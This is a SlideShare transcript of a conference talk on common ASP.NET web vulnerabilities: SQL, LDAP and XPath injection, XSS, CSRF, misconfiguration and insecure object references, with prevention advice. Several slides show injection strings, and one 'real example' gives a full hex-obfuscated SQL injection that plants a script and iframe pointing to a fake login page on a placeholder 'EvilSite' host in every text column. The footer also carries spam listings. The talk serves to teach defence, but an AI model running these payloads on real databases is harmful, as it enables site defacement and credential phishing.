SlideShare ist ein Scribd-Unternehmen logo
1 von 45
Top Web Apps
Security Vulnerabilities
Aleksandar Bozinovski
Technical Lead, Seavus
Agenda
Importance of Web Security
HTTP, Sessions, Cookies
Injection
Cross Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
Security Misconfiguration
Insecure Direct Object References
Famous Quote
“Every program has at least two purposes: the
one for which it was written, and another for
which it wasn't.”
-Alan J. Perlis
Alan Jay Perlis was an computer scientist known for his
pioneering work in programming languages, and is the first
recipient of the Turing Award.
Bobby Tables

string query="INSERT INTO Students VALUES ('"+txtName.Text+"','"+txtSSN.Text+"')";
//Attack: Robert’); DROP TABLE Students;-INSERT INTO Students VALUES ('Robert'); DROP TABLE Students;-Students;--','12345')
Robert');
Another one
Website Security Statistics
HTTP
Hypertext Transport Protocol
– Language of the Web. Protocol used for
communication between web browsers and web
servers
– Standard RFC 1945, 1996

URL
– Uniform Resource Identifier

Methods
– GET, POST, PUT, HEAD, OPTIONS
Statelessness, Cookies
 In its nature HTTP it is said to be a stateless protocol.
– i.e. from one web page to the next there is nothing in the
protocol that allows a web program to maintain program “state”
(like a desktop program).
– “state” can be maintained by “witchery” or “trickery” if it is
needed.

 Cookie – piece of data sent from a website and stored in a
user's web browser while a user is browsing a website.
– The Server sets the cookie in a response.
– The client includes the cookies in the Http header for
subsequent requests to the server.
– Example Cookie:
ASP.NET_SessionId=haay355s5g0vm5zotvlncqpr
Session Cookie Hijacking
OWASP Top 10
Injection
OWASP Definition
– Injection flaws, such as SQL, OS, and LDAP
injection, occur when untrusted data is sent to an
interpreter as part of a command or query. The
attacker’s hostile data can trick the interpreter
into executing unintended commands or accessing
unauthorized data.
Injection Characteristics
SQL Injection
Happens when we create query but we fail to
validate and sanitize untrusted input data.
SQL Queries
Queries constructed with concatenating
strings are vulnerable to SQL Injection.
var categoryId = Request.QueryString["CategoryId"];
var sql =
"SELECT * FROM Products WHERE CategoryID=" + categoryId;
// If we enter "7 OR 1=1" in query string we end up with:
SELECT * FROM Products WHERE CategoryID=7 OR 1=1
// Attacker can use ; to terminate current command and run its
own commands.
SELECT * FROM Products WHERE CategoryID=7; DROP TABLE Products
Prevent SQL Injection
 Validate untrusted data. If input data is supposed
to be number, convert it to number or check it
with regex.
 Use parameterized SQL queries instead of strings
soup.
– Using stored procedures is also a good idea but keep
in mind that stored procedures are vulnerable if they
concatenate strings on their own.

 Use ORMs (like Entity Framework) that are
inherently resistant to SQL Injection.
Other Injection Attacks
LDAP Injection
– string ldapSearch = "(cn=" + txtSearchTerm.Text + ")";

Dynamic LINQ Injection
– string where = “Table.Contains("" + search + "")";

XPATH Injection
– string loginExpression =
"/employees/employee[loginID/text()='" + username + "' and
passwd/text()='" + password + "']";
Cross-Site Scripting (XSS)
OWASP Definition
– XSS flaws occur whenever an application takes
untrusted data and sends it to a web browser
without proper validation and escaping. XSS
allows attackers to execute scripts in the victim’s
browser which can hijack user sessions, deface
web sites, or redirect the user to malicious sites.
XSS Characteristics
Types of XSS Attacks
 Stored XSS
• Stored attacks are those where the injected code is
permanently stored on the target servers.
• Users should not be able to create message content that
could cause another user to load an undesirable page or
undesirable content when the user's message is retrieved.

 Reflected XSS
• Reflected attacks are those where the injected code is
reflected off the web server, such as in an error
message, search result.
• Reflected attacks are delivered to victims via another
route, such as in an e-mail message, or on some other web
server.
Built-in protection
Modern browsers and servers employ many
first line defenses against XSS by default:
– ASP.NET Request Validation, present since version
2.0. In ASP.NET 4.0 it is enabled for all types of
requests not just pages. To be turned off we must
revert to the older mode
requestValidationMode="2.0“
– Output encoding. MVC Razor view engine encodes
everything by default. XSS is possible only if we
use @Html.Raw()
Built-in protection
– AntiXSS library is by default included in ASP.NET
Web Forms 4.5. Can be retrofitted on older web
apps.

– Google Chrome has built-in anti XSS protection
Cross-Site Request Forgery
OWASP Definition
– A CSRF attack forces a logged-on victim’s browser
to send a forged HTTP request, including the
victim’s session cookie and any other
automatically included authentication
information, to a vulnerable web application. This
allows the attacker to force the victim’s browser to
generate requests the vulnerable application
thinks are legitimate requests from the victim.
CSRF Characteristics
How CSRF works
 Authenticated sessions are persisted via cookies The
cookie is sent with every request to the domain
 The attacking site recreates a legitimately formed request
to the target site Although the request has a malicious
payload (query string parameters or post data)
 The victim’s browser is tricked into issuing the request
For all intents and purposes, the target website views it
as a legitimate request
CSRF Tokens
 To mitigate this risk, we can add randomness via a CSRF
token
 A token is a random string known to both the legitimate
page where the form is and to the browser via a cookie
Security Misconfiguration
OWASP Definition
– Good security requires having a secure
configuration defined and deployed for the
application, frameworks, application server, web
server, database server, and platform. All these
settings should be defined, implemented, and
maintained as many are not shipped with secure
defaults. This includes keeping all software up to
date, including all code libraries used by the
application.
Characteristics
Keep up to date
Your servers
– Windows Server 2012 is arguably more secure
than Windows Server 2003

Client browsers (if applicable)
– Modern browsers include built-in defenses against
most prevalent attacks

Keep your frameworks up to date
Set Custom Errors, hide YSOD
Turn Off Tracing
Also don’t forget to turn off
ELMAH
– Cases with unprotected ELMAH handlers are
notorious.
– Googledork: inurl:”elmah.axd”

DEBUG
– Performance penalties
– Although not related with direct security risks on
its own beware of #if DEBUG statements that
can disclose information
Also don’t forget to turn off
Script execution on folders where not needed
– Usually folders where various documents or
uploaded files are kept, unless you use App_Data
folder.

HTTP Access to Logs
– Log files can disclose many sensitive details about
your web app. It’s best to keep them outside of
the web app root. If not possible at least keep
them in App_Data.
Insecure Direct Object References
OWASP Definition
– A direct object reference occurs when a developer
exposes a reference to an internal implementation
object, such as a file, directory, or database key.
Without an access control check or other
protection, attackers can manipulate these
references to access unauthorized data.
Characteristics
Direct Object References
– A direct object reference is an observable key
used to identify an individual record in database
• http://northwind.com/Products?catId=1
• http://northwind.com/Products?catId=3
• http://northwind.com/Products?catId=8
Direct Object References
– Another example
• http://webapp.com/Download?f=DSC01031.JPG
• http://webapp.com/Download?f=DSC01032.JPG
• http://webapp.com/Download?f=DSC01033.JPG
Prevention
 Implementing proper access control
– Validate user data
– Implement security checks before using object
reference

 Access via undiscoverable surrogate keys
– Integer and natural string types are vulnerable to
enumeration
– A surrogate key that is not pattern-based can add
further obfuscation
• A GUID is a good example

– However, it is security through obscurity
Real example: phishing with
obfuscated SQL injection and XSS
--1. The malicious query appends script to all text values in all tables in the database
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167) and b.name not like '%username%' and b.name not like '%password%'
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('update ['+@T+'] set ['+@C+']=['+@C+'] + ''
<script>if(!this.pwnd){this.pwnd=true;$(''''<div style="position:absolute;top:0;left:0;zindex:1000;width:100%;height:100%;"><iframe width="100%" height="100%"
src="http://codecamp.local/EvilSite/Login.aspx" seamless="true"
/></div>'''').appendTo(''''body'''');}</script>'' where ['+@C+'] not like
''%http://codecamp.local/EvilSite/Login.aspx%''');
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Real example : phishing with
obfuscated SQL injection and XSS
--2. The query is wrtten as one line string
'DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=''u'' and (b.xtype=99 or
b.xtype=35 or b.xtype=231 or b.xtype=167) and b.name not like ''%username%'' and b.name not like ''%password%'' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC(''update [''+@T+''] set [''+@C+'']=[''+@C+''] + '''' <script>if(!this.pwnd){this.pwnd=true;$(''''''''<div style="position:absolute;top:0;left:0;zindex:1000;width:100%;height:100%;"><iframe width="100%" height="100%" src="http://codecamp.local/EvilSite/Login.aspx" seamless="true"
/></div>'''''''').appendTo(''''''''body'''''''');}</script>'''' where [''+@C+''] not like ''''%http://codecamp.local/EvilSite/Login.aspx%''''''); FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE
Table_Cursor DEALLOCATE Table_Cursor'
--3. We cast the query string as varbinary to obfuscate the XSS attack and to bypass XSS filters.
SELECT CAST('DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=''u'' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) and b.name not like ''%username%'' and b.name not like ''%password%'' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO
@T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(''update [''+@T+''] set [''+@C+'']=[''+@C+''] + '''' <script>if(!this.pwnd){this.pwnd=true;$(''''''''<div style="position:absolute;top:0;left:0;zindex:1000;width:100%;height:100%;"><iframe width="100%" height="100%" src="http://codecamp.local/EvilSite/Login.aspx" seamless="true"
/></div>'''''''').appendTo(''''''''body'''''''');}</script>'''' where [''+@C+''] not like ''''%http://codecamp.local/EvilSite/Login.aspx%''''''); FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE
Table_Cursor DEALLOCATE Table_Cursor' AS VARBINARY(MAX))
-- result:
0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C6563
7420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622020776865726520612E69643D622E696420616E6420612E78747970653D27752
720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D3136372920616E6420622E6E616D65206E6F74206C
696B65202725757365726E616D65252720616E6420622E6E616D65206E6F74206C696B6520272570617373776F72642527204F50454E205461626C655F437572736F72204645544348204E45585420
46524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827757064617465205B272B40542B27
5D20736574205B272B40432B275D3D5B272B40432B275D202B202727203C7363726970743E69662821746869732E70776E64297B746869732E70776E643D747275653B2428272727273C64697620
7374796C653D22706F736974696F6E3A6162736F6C7574653B746F703A303B6C6566743A303B7A2D696E6465783A313030303B77696474683A313030253B6865696768743A313030253B223E3C69
6672616D652077696474683D223130302522206865696768743D223130302522207372633D22687474703A2F2F636F646563616D702E6C6F63616C2F4576696C536974652F4C6F67696E2E6173707
822207365616D6C6573733D227472756522202F3E3C2F6469763E27272727292E617070656E64546F2827272727626F647927272727293B7D3C2F7363726970743E2727207768657265205B272B40
432B275D206E6F74206C696B6520272725687474703A2F2F636F646563616D702E6C6F63616C2F4576696C536974652F4C6F67696E2E6173707825272727293B204645544348204E4558542046524F
4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72
--4. Final attack is:
a' OR 1=1; DECLARE @S CHAR(4000);SET @S =
CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656
C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622020776865726520612E69643D622E696420616E6420612E78747970653D
27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D3136372920616E6420622E6E616D65206E6F7
4206C696B65202725757365726E616D65252720616E6420622E6E616D65206E6F74206C696B6520272570617373776F72642527204F50454E205461626C655F437572736F72204645544348204E455
8542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827757064617465205B272B405
42B275D20736574205B272B40432B275D3D5B272B40432B275D202B202727203C7363726970743E69662821746869732E70776E64297B746869732E70776E643D747275653B2428272727273C646
976207374796C653D22706F736974696F6E3A6162736F6C7574653B746F703A303B6C6566743A303B7A2D696E6465783A313030303B77696474683A313030253B6865696768743A313030253B223
E3C696672616D652077696474683D223130302522206865696768743D223130302522207372633D22687474703A2F2F636F646563616D702E6C6F63616C2F4576696C536974652F4C6F67696E2E61
73707822207365616D6C6573733D227472756522202F3E3C2F6469763E27272727292E617070656E64546F2827272727626F647927272727293B7D3C2F7363726970743E2727207768657265205B2
72B40432B275D206E6F74206C696B6520272725687474703A2F2F636F646563616D702E6C6F63616C2F4576696C536974652F4C6F67696E2E6173707825272727293B204645544348204E455854204
6524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 as
CHAR(4000));EXEC(@S)--
Questions?
• Complete electronic evaluation forms on the
computers in the hall and enter to win!
– Infragistics Ultimate
– Telerik DevCraft
– JetBrains .NET tools
– Semos training vouchers
– Pluralsight subscriptions
– and many more…
ASP.NET security vulnerabilities

Weitere ähnliche Inhalte

Was ist angesagt?

Security hole #5 application security science or quality assurance
Security hole #5 application security   science or quality assuranceSecurity hole #5 application security   science or quality assurance
Security hole #5 application security science or quality assurance
Tjylen Veselyj
 
[Wroclaw #6] Introduction to desktop browser add-ons
[Wroclaw #6] Introduction to desktop browser add-ons[Wroclaw #6] Introduction to desktop browser add-ons
[Wroclaw #6] Introduction to desktop browser add-ons
OWASP
 

Was ist angesagt? (19)

Beyond the OWASP Top 10
Beyond the OWASP Top 10Beyond the OWASP Top 10
Beyond the OWASP Top 10
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
Web application security
Web application securityWeb application security
Web application security
 
Step by step guide for web application security testing
Step by step guide for web application security testingStep by step guide for web application security testing
Step by step guide for web application security testing
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defense
 
Web application attacks
Web application attacksWeb application attacks
Web application attacks
 
Web Application Security 101
Web Application Security 101Web Application Security 101
Web Application Security 101
 
Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practices
 
Security hole #5 application security science or quality assurance
Security hole #5 application security   science or quality assuranceSecurity hole #5 application security   science or quality assurance
Security hole #5 application security science or quality assurance
 
Java Secure Coding Practices
Java Secure Coding PracticesJava Secure Coding Practices
Java Secure Coding Practices
 
Secure Web Applications Ver0.01
Secure Web Applications Ver0.01Secure Web Applications Ver0.01
Secure Web Applications Ver0.01
 
Secure code
Secure codeSecure code
Secure code
 
[Wroclaw #6] Introduction to desktop browser add-ons
[Wroclaw #6] Introduction to desktop browser add-ons[Wroclaw #6] Introduction to desktop browser add-ons
[Wroclaw #6] Introduction to desktop browser add-ons
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
OWASP Secure Coding Practices - Quick Reference Guide
OWASP Secure Coding Practices - Quick Reference GuideOWASP Secure Coding Practices - Quick Reference Guide
OWASP Secure Coding Practices - Quick Reference Guide
 
.NET Security Topics
.NET Security Topics.NET Security Topics
.NET Security Topics
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
 
Spring Security Introduction
Spring Security IntroductionSpring Security Introduction
Spring Security Introduction
 

Ähnlich wie ASP.NET security vulnerabilities

Soteria Cybersecurity Healthcheck-FB01
Soteria Cybersecurity Healthcheck-FB01Soteria Cybersecurity Healthcheck-FB01
Soteria Cybersecurity Healthcheck-FB01
Richard Sullivan
 
Security Testing - Zap It
Security Testing - Zap ItSecurity Testing - Zap It
Security Testing - Zap It
Manjyot Singh
 
RSA Conference 2010 San Francisco
RSA Conference 2010 San FranciscoRSA Conference 2010 San Francisco
RSA Conference 2010 San Francisco
Aditya K Sood
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
johnpragasam1
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
azida3
 

Ähnlich wie ASP.NET security vulnerabilities (20)

Web Security
Web SecurityWeb Security
Web Security
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Owasp top 10
Owasp top 10Owasp top 10
Owasp top 10
 
Cyber ppt
Cyber pptCyber ppt
Cyber ppt
 
Web security
Web securityWeb security
Web security
 
Application Security Vulnerabilities: OWASP Top 10 -2007
Application Security Vulnerabilities: OWASP Top 10  -2007Application Security Vulnerabilities: OWASP Top 10  -2007
Application Security Vulnerabilities: OWASP Top 10 -2007
 
Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730
 
Soteria Cybersecurity Healthcheck-FB01
Soteria Cybersecurity Healthcheck-FB01Soteria Cybersecurity Healthcheck-FB01
Soteria Cybersecurity Healthcheck-FB01
 
T04505103106
T04505103106T04505103106
T04505103106
 
Security Testing - Zap It
Security Testing - Zap ItSecurity Testing - Zap It
Security Testing - Zap It
 
Security testing zap it
Security testing   zap itSecurity testing   zap it
Security testing zap it
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
Owasp first5 presentation
Owasp first5 presentationOwasp first5 presentation
Owasp first5 presentation
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
 
Secure Software Engineering
Secure Software EngineeringSecure Software Engineering
Secure Software Engineering
 
RSA Conference 2010 San Francisco
RSA Conference 2010 San FranciscoRSA Conference 2010 San Francisco
RSA Conference 2010 San Francisco
 
OWASP_Top_Ten_Proactive_Controls version 2
OWASP_Top_Ten_Proactive_Controls version 2OWASP_Top_Ten_Proactive_Controls version 2
OWASP_Top_Ten_Proactive_Controls version 2
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 

Kürzlich hochgeladen

Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Victor Rentea
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 

Kürzlich hochgeladen (20)

CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
WSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering DevelopersWSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering Developers
 
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot ModelMcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
 
Six Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal OntologySix Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal Ontology
 
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptx
 
Platformless Horizons for Digital Adaptability
Platformless Horizons for Digital AdaptabilityPlatformless Horizons for Digital Adaptability
Platformless Horizons for Digital Adaptability
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 

ASP.NET security vulnerabilities

  • 1.
  • 2. Top Web Apps Security Vulnerabilities Aleksandar Bozinovski Technical Lead, Seavus
  • 3.
  • 4.
  • 5. Agenda Importance of Web Security HTTP, Sessions, Cookies Injection Cross Site Scripting (XSS) Cross-Site Request Forgery (CSRF) Security Misconfiguration Insecure Direct Object References
  • 6. Famous Quote “Every program has at least two purposes: the one for which it was written, and another for which it wasn't.” -Alan J. Perlis Alan Jay Perlis was an computer scientist known for his pioneering work in programming languages, and is the first recipient of the Turing Award.
  • 7. Bobby Tables string query="INSERT INTO Students VALUES ('"+txtName.Text+"','"+txtSSN.Text+"')"; //Attack: Robert’); DROP TABLE Students;-INSERT INTO Students VALUES ('Robert'); DROP TABLE Students;-Students;--','12345') Robert');
  • 10. HTTP Hypertext Transport Protocol – Language of the Web. Protocol used for communication between web browsers and web servers – Standard RFC 1945, 1996 URL – Uniform Resource Identifier Methods – GET, POST, PUT, HEAD, OPTIONS
  • 11. Statelessness, Cookies  In its nature HTTP it is said to be a stateless protocol. – i.e. from one web page to the next there is nothing in the protocol that allows a web program to maintain program “state” (like a desktop program). – “state” can be maintained by “witchery” or “trickery” if it is needed.  Cookie – piece of data sent from a website and stored in a user's web browser while a user is browsing a website. – The Server sets the cookie in a response. – The client includes the cookies in the Http header for subsequent requests to the server. – Example Cookie: ASP.NET_SessionId=haay355s5g0vm5zotvlncqpr
  • 14. Injection OWASP Definition – Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.
  • 16. SQL Injection Happens when we create query but we fail to validate and sanitize untrusted input data.
  • 17. SQL Queries Queries constructed with concatenating strings are vulnerable to SQL Injection. var categoryId = Request.QueryString["CategoryId"]; var sql = "SELECT * FROM Products WHERE CategoryID=" + categoryId; // If we enter "7 OR 1=1" in query string we end up with: SELECT * FROM Products WHERE CategoryID=7 OR 1=1 // Attacker can use ; to terminate current command and run its own commands. SELECT * FROM Products WHERE CategoryID=7; DROP TABLE Products
  • 18. Prevent SQL Injection  Validate untrusted data. If input data is supposed to be number, convert it to number or check it with regex.  Use parameterized SQL queries instead of strings soup. – Using stored procedures is also a good idea but keep in mind that stored procedures are vulnerable if they concatenate strings on their own.  Use ORMs (like Entity Framework) that are inherently resistant to SQL Injection.
  • 19. Other Injection Attacks LDAP Injection – string ldapSearch = "(cn=" + txtSearchTerm.Text + ")"; Dynamic LINQ Injection – string where = “Table.Contains("" + search + "")"; XPATH Injection – string loginExpression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password + "']";
  • 20. Cross-Site Scripting (XSS) OWASP Definition – XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
  • 22. Types of XSS Attacks  Stored XSS • Stored attacks are those where the injected code is permanently stored on the target servers. • Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.  Reflected XSS • Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result. • Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server.
  • 23. Built-in protection Modern browsers and servers employ many first line defenses against XSS by default: – ASP.NET Request Validation, present since version 2.0. In ASP.NET 4.0 it is enabled for all types of requests not just pages. To be turned off we must revert to the older mode requestValidationMode="2.0“ – Output encoding. MVC Razor view engine encodes everything by default. XSS is possible only if we use @Html.Raw()
  • 24. Built-in protection – AntiXSS library is by default included in ASP.NET Web Forms 4.5. Can be retrofitted on older web apps. – Google Chrome has built-in anti XSS protection
  • 25. Cross-Site Request Forgery OWASP Definition – A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.
  • 27. How CSRF works  Authenticated sessions are persisted via cookies The cookie is sent with every request to the domain  The attacking site recreates a legitimately formed request to the target site Although the request has a malicious payload (query string parameters or post data)  The victim’s browser is tricked into issuing the request For all intents and purposes, the target website views it as a legitimate request
  • 28. CSRF Tokens  To mitigate this risk, we can add randomness via a CSRF token  A token is a random string known to both the legitimate page where the form is and to the browser via a cookie
  • 29. Security Misconfiguration OWASP Definition – Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. All these settings should be defined, implemented, and maintained as many are not shipped with secure defaults. This includes keeping all software up to date, including all code libraries used by the application.
  • 31. Keep up to date Your servers – Windows Server 2012 is arguably more secure than Windows Server 2003 Client browsers (if applicable) – Modern browsers include built-in defenses against most prevalent attacks Keep your frameworks up to date
